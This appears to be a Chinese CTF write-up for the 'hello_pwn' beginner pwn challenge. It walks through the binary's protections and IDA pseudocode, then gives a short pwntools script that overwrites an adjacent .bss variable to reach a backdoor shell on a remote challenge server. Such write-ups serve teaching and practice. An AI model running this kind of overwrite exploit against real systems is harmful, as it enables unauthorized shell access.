0
点赞
收藏
分享

微信扫一扫

pwn刷题num9----输入正确值即可getshell

攻防世界pwn新手区hello_pwn
在这里插入图片描述
首先查保护–>看链接类型–>赋予程序可执行权限–>试运行

64位,小端序
开启部分RELRO---got表仍可写
未开启canary保护---存在栈溢出
开启NX保护----注入的shellcode不可执行
未开启PIE----程序地址为真实地址
动态链接

ida看伪代码
在这里插入图片描述
主函数中使用read函数向&unk_601068位置读入10字节,然后如果dword_60106C = 0x6E756161就调用sub_400686(),查看sub_400686()函数发现这就是后门函数
在这里插入图片描述
看一下.bss段
在这里插入图片描述
unk_601068与dword_60106C 相差4字节,而0x6E756161占四字节,加起来8字节,可以用主函数里的read函数覆盖dword_60106C 为0x6E756161

exp

from pwn import *
context(os = 'linux',endian = 'little',arch = 'amd64',log_level = 'debug')
sh = remote('111.200.241.244',59166)
sh.recvuntil('lets get helloworld for bof')
payload = flat(['aaaa',0x6E756161])
sh.sendline(payload)
sh.interactive()

运行即可得到flag
在这里插入图片描述

举报

相关推荐

0 条评论